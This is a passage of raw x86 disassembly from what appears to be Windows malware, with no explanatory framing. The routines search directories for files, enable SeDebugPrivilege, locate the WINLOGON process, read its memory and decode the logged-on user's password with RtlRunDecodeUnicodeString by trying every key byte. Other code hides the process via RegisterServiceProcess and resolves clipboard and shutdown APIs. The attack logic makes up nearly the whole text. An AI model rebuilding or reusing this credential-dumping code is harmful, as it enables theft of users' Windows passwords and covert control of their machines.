		push	eax		; Dest
		call	__snprintf
		mov	edi, ds:dword_4230B8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408F9D


loc_408F2C:				; CODE XREF: sub_408EE0+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F89
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F50
		cmp	[ebp+var_117], 0
		jz	short loc_408F89
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F89


loc_408F50:				; CODE XREF: sub_408EE0+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx		; Format
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+arg_14]	; int
		lea	eax, [ebp+var_34C]
		push	eax		; int
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_408EE0
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408F89:				; CODE XREF: sub_408EE0+53j
					; sub_408EE0+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4230B4	; FindNextFileA
		test	eax, eax
		jnz	short loc_408F2C


loc_408F9D:				; CODE XREF: sub_408EE0+4Aj
		push	[ebp+var_4]
		call	ds:dword_4230A8	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	ebx		; Format
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409023


loc_408FD4:				; CODE XREF: sub_408EE0+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:dword_4230B4	; FindNextFileA
		test	eax, eax
		jnz	short loc_408FD4


loc_409023:				; CODE XREF: sub_408EE0+F2j
		push	esi
		call	ds:dword_4230A8	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409032	proc near		; DATA XREF: sub_40EE51+521Do

Dest		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B785
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409071
		cmp	eax, 2
		jz	short loc_409071
		push	offset unk_42BD60
		jmp	loc_4091B0
; ---------------------------------------------------------------------------


loc_409071:				; CODE XREF: sub_409032+2Ej
					; sub_409032+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41510E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091AB
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:dword_4230DC
		mov	esi, ds:dword_4230D8
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	ds:dword_43C2C4, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	ds:dword_43C2B8, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	ds:dword_43C4C8, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	ds:dword_43C2C0, eax
		call	esi
		mov	ds:dword_43C2BC, eax
		call	sub_409204
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40917E
		mov	esi, ds:dword_4230D4
		mov	edi, 400h
		mov	ebx, offset word_43B2B8
		push	edi
		push	ebx
		push	offset off_42BC9C
		call	esi
		push	edi
		mov	edi, offset word_43BAB8
		push	edi
		push	offset off_42BC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43C4D0
		push	[ebp+arg_0]
		jnz	short loc_40912A
		call	sub_40938D
		jmp	short loc_40912F
; ---------------------------------------------------------------------------


loc_40912A:				; CODE XREF: sub_409032+EFj
		call	sub_409534


loc_40912F:				; CODE XREF: sub_409032+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409177
		cmp	ds:dword_43C4D0, 0
		jnz	short loc_40915E
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset unk_42BC0C ; Format
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		jmp	short loc_409191
; ---------------------------------------------------------------------------


loc_40915E:				; CODE XREF: sub_409032+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_40916E
		call	sub_40966A
		jmp	short loc_409173
; ---------------------------------------------------------------------------


loc_40916E:				; CODE XREF: sub_409032+133j
		call	sub_409701


loc_409173:				; CODE XREF: sub_409032+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409183
; ---------------------------------------------------------------------------


loc_409177:				; CODE XREF: sub_409032+101j
		push	offset unk_42BBC4
		jmp	short loc_409183
; ---------------------------------------------------------------------------


loc_40917E:				; CODE XREF: sub_409032+B6j
		push	offset unk_42BB80 ; Format


loc_409183:				; CODE XREF: sub_409032+143j
					; sub_409032+14Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_409191:				; CODE XREF: sub_409032+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41510E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	ds:dword_4230D0
		pop	ebx
		jmp	short loc_4091BE
; ---------------------------------------------------------------------------


loc_4091AB:				; CODE XREF: sub_409032+4Ej
		push	offset unk_42BB3C ; Format


loc_4091B0:				; CODE XREF: sub_409032+3Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4091BE:				; CODE XREF: sub_409032+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091E5
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_9C]	; int
		call	sub_40D670
		add	esp, 14h


loc_4091E5:				; CODE XREF: sub_409032+191j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_18]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050
		pop	edi
		pop	esi
sub_409032	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_409204	proc near		; CODE XREF: sub_409032+ACp

String		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_423004
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, ds:dword_4230E4
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	ds:dword_43C2C4
		push	ebp
		push	0
		call	esi
		push	eax
		call	ds:dword_4230E0	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	ds:dword_43C2C4
		test	eax, eax
		jnz	short loc_4092F1
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F1
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+String], ecx
		jb	short loc_4092F1


loc_40928D:				; CODE XREF: sub_409204+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E4
		push	0
		push	0
		call	ds:dword_43C2B8
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	ds:dword_43C4C8
		test	eax, eax
		jnz	short loc_4092D5
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax		; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409309


loc_4092D5:				; CODE XREF: sub_409204+AAj
		test	edi, edi
		jz	short loc_4092E0
		push	edi
		call	ds:dword_43C2C0


loc_4092E0:				; CODE XREF: sub_409204+D3j
		mov	eax, [esp+28h+var_10]


loc_4092E4:				; CODE XREF: sub_409204+8Ej
		add	ebx, 10h
		inc	[esp+28h+String]
		cmp	[esp+28h+String], eax
		jbe	short loc_40928D


loc_4092F1:				; CODE XREF: sub_409204+6Dj
					; sub_409204+7Aj ...
		xor	edi, edi


loc_4092F3:				; CODE XREF: sub_409204+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	ds:dword_4230E0	; RtlFreeHeap
		mov	eax, edi


loc_409301:				; CODE XREF: sub_409204+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_409309:				; CODE XREF: sub_409204+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409372
		lea	eax, [edi+80h]
		mov	[esp+28h+String], eax


loc_40931F:				; CODE XREF: sub_409204+16Cj
		add	[esp+28h+String], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409386
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409364
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_409364:				; CODE XREF: sub_409204+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_40931F


loc_409372:				; CODE XREF: sub_409204+10Fj
		test	edi, edi
		jz	short loc_40937D
		push	edi
		call	ds:dword_43C2C0


loc_40937D:				; CODE XREF: sub_409204+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F3
; ---------------------------------------------------------------------------


loc_409386:				; CODE XREF: sub_409204+13Cj
		xor	eax, eax
		jmp	loc_409301
sub_409204	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938D	proc near		; CODE XREF: sub_409032+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	ds:dword_4230F8	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093B6
		xor	eax, eax
		jmp	loc_409531
; ---------------------------------------------------------------------------


loc_4093B6:				; CODE XREF: sub_40938D+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:dword_4230F4	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, ds:dword_423004
		push	8
		call	esi
		mov	edi, ds:dword_4230E4
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, ds:dword_4230F0
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_409406
		xor	esi, esi
		jmp	loc_409524
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_40938D+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ds:dword_4230EC	; VirtualQueryEx
		test	eax, eax
		jz	loc_409513
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409513
		test	[ebp+var_2B], 1
		jnz	loc_409513
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_409513


loc_409469:				; CODE XREF: sub_40938D+112j
		push	edi		; Str2
		push	offset word_43B2B8 ; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409491
		lea	eax, [edi+200h]
		push	eax		; Str2
		push	offset word_43BAB8 ; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A1


loc_409491:				; CODE XREF: sub_40938D+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409513
		jmp	short loc_409469
; ---------------------------------------------------------------------------


loc_4094A1:				; CODE XREF: sub_40938D+102j
		test	edi, edi
		jz	short loc_409513
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	ds:dword_4230B0	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_4094DC
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_4230AC	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_4094DC
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4094DC:				; CODE XREF: sub_40938D+12Bj
					; sub_40938D+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	ds:dword_43C4DC, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	ds:dword_43C4D4, eax
		mov	ds:Src,	edi


loc_409513:				; CODE XREF: sub_40938D+90j
					; sub_40938D+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	ds:dword_4230E0	; RtlFreeHeap
		mov	esi, [ebp+var_10]


loc_409524:				; CODE XREF: sub_40938D+74j
		push	[ebp+var_4]
		call	ds:dword_423074
		pop	edi
		mov	eax, esi
		pop	ebx


loc_409531:				; CODE XREF: sub_40938D+24j
		pop	esi
		leave
		retn
sub_40938D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409534	proc near		; CODE XREF: sub_409032:loc_40912Ap

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	ds:dword_4230F8	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409626
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_4230F4	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_40961D
		mov	edi, ds:dword_423004


loc_40957F:				; CODE XREF: sub_409534+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4230EC	; VirtualQueryEx
		test	eax, eax
		jz	short loc_40960B
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409611
		test	[ebp+var_13], 1
		jnz	short loc_409611
		push	ecx
		push	8
		call	edi
		push	eax
		call	ds:dword_4230E4	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_4230F0	; ReadProcessMemory
		test	eax, eax
		jz	short loc_4095FD
		push	offset word_43B2B8 ; Str2
		push	esi		; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4095FD
		lea	eax, [esi+400h]
		push	offset word_43BAB8 ; Str2
		push	eax		; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40962D


loc_4095FD:				; CODE XREF: sub_409534+9Fj
					; sub_409534+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	ds:dword_4230E0	; RtlFreeHeap
		jmp	short loc_409611
; ---------------------------------------------------------------------------


loc_40960B:				; CODE XREF: sub_409534+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_409611:				; CODE XREF: sub_409534+71j
					; sub_409534+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_40957F


loc_40961D:				; CODE XREF: sub_409534+3Fj
		push	[ebp+arg_0]
		call	ds:dword_423074


loc_409626:				; CODE XREF: sub_409534+1Ej
		xor	eax, eax


loc_409628:				; CODE XREF: sub_409534+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40962D:				; CODE XREF: sub_409534+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	ds:dword_43C4D4, ebx
		mov	ds:Src,	eax
		cmp	[eax], cl
		jnz	short loc_40964F
		cmp	[eax+1], cl
		jz	short loc_409657


loc_40964F:				; CODE XREF: sub_409534+114j
					; sub_409534+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_40964F


loc_409657:				; CODE XREF: sub_409534+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	ds:dword_423074
		push	1
		pop	eax
		jmp	short loc_409628
sub_409534	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966A	proc near		; CODE XREF: sub_409032+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_43C4D0
		push	esi
		mov	esi, ds:dword_423004
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	ds:dword_4230E4	; RtlAllocateHeap
		mov	ecx, ds:dword_43C4D0
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx		; Size
		push	ds:Src		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr ds:dword_43C4DC
		push	eax
		call	ds:dword_43C2BC
		push	[ebp+var_4]
		mov	edi, offset byte_43C2C8
		push	offset word_43B2B8
		push	offset word_43BAB8
		push	[ebp+arg_0]
		push	offset unk_42BDC0 ; Format
		push	200h		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	ds:dword_4230E0	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409701	proc near		; CODE XREF: sub_409032:loc_40916Ep

var_18		= word ptr -18h
var_16		= word ptr -16h
Dst		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, ds:dword_43C4D0
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	ds:dword_423004
		push	eax
		call	ds:dword_4230E4	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+Dst], eax
		mov	ebx, offset word_43BAB8
		mov	edi, 200h
		mov	esi, offset byte_43B0B8


loc_409747:				; CODE XREF: sub_409701+FAj
		mov	eax, ds:dword_43C4D0
		add	eax, eax
		push	eax		; Size
		push	ds:Src		; Src
		push	[ebp+Dst]	; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43C2BC
		mov	eax, ds:dword_43C4D0
		and	[ebp+var_10], 0
		mov	ecx, [ebp+Dst]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097BC


loc_409784:				; CODE XREF: sub_409701+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097D9
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097A8
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097A8
		cmp	dl, 20h
		jnb	short loc_4097A2
		and	[ebp+var_8], 0


loc_4097A2:				; CODE XREF: sub_409701+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097AC


loc_4097A8:				; CODE XREF: sub_409701+90j
					; sub_409701+96j
		and	[ebp+var_8], 0


loc_4097AC:				; CODE XREF: sub_409701+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409784
		cmp	[ebp+var_8], 0
		jz	short loc_4097D9


loc_4097BC:				; CODE XREF: sub_409701+81j
		push	[ebp+Dst]
		push	offset word_43B2B8
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42BDC0 ; Format
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	short loc_4097F1
; ---------------------------------------------------------------------------


loc_4097D9:				; CODE XREF: sub_409701+87j
					; sub_409701+B9j
		push	offset word_43B2B8
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42BE2C ; Format
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h


loc_4097F1:				; CODE XREF: sub_409701+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_409747
		push	[ebp+Dst]
		push	0
		call	ds:dword_423004
		push	eax
		call	ds:dword_4230E0	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409701	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981A	proc near		; CODE XREF: sub_40E68B+48p
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4230FC
		push	esi
		push	edi
		push	offset aKernel32_dll_1 ; "kernel32.dll"
		call	ebp
		mov	esi, ds:dword_4230D8
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993A
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_43C6C4, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_43C638, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_43C61C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_43C538, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_43C4E4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_43C514, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_43C588, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_43C678, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_43C6D4, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_43C544, eax
		call	esi
		cmp	ds:dword_43C6C4, ebx
		mov	ds:dword_43C52C, eax
		jz	short loc_409918
		cmp	ds:dword_43C638, ebx
		jz	short loc_409918
		cmp	ds:dword_43C61C, ebx
		jz	short loc_409918
		cmp	ds:dword_43C538, ebx
		jz	short loc_409918
		cmp	ds:dword_43C514, ebx
		jz	short loc_409918
		cmp	ds:dword_43C588, ebx
		jz	short loc_409918
		cmp	ds:dword_43C678, ebx
		jz	short loc_409918
		cmp	ds:dword_43C6D4, ebx
		jz	short loc_409918
		cmp	ds:dword_43C544, ebx
		jz	short loc_409918
		cmp	eax, ebx
		jnz	short loc_409922


loc_409918:				; CODE XREF: sub_40981A+B8j
					; sub_40981A+C0j ...
		mov	ds:dword_43C6D8, 1


loc_409922:				; CODE XREF: sub_40981A+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_43C650, eax
		jz	short loc_40994F
		push	1
		push	ebx
		call	eax
		jmp	short loc_40994F
; ---------------------------------------------------------------------------


loc_40993A:				; CODE XREF: sub_40981A+1Dj
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	ds:dword_43C6DC, eax
		mov	ds:dword_43C6D8, 1


loc_40994F:				; CODE XREF: sub_40981A+117j
					; sub_40981A+11Ej
		push	offset aUser32_dll_0 ; "user32.dll"
		call	ds:dword_4230DC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A64
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_43C674, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_43C624, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_43C5B8, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_43C6C8, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_43C5E8, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_43C608, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_43C66C, eax
		call	esi
		cmp	ds:dword_43C674, ebx
		mov	ds:dword_43C560, eax
		jz	short loc_409A08
		cmp	ds:dword_43C624, ebx
		jz	short loc_409A08
		cmp	ds:dword_43C5B8, ebx
		jz	short loc_409A08
		cmp	ds:dword_43C6C8, ebx
		jz	short loc_409A08
		cmp	ds:dword_43C5E8, ebx
		jz	short loc_409A08
		cmp	ds:dword_43C608, ebx
		jz	short loc_409A08
		cmp	ds:dword_43C66C, ebx
		jz	short loc_409A08
		cmp	eax, ebx
		jnz	short loc_409A12


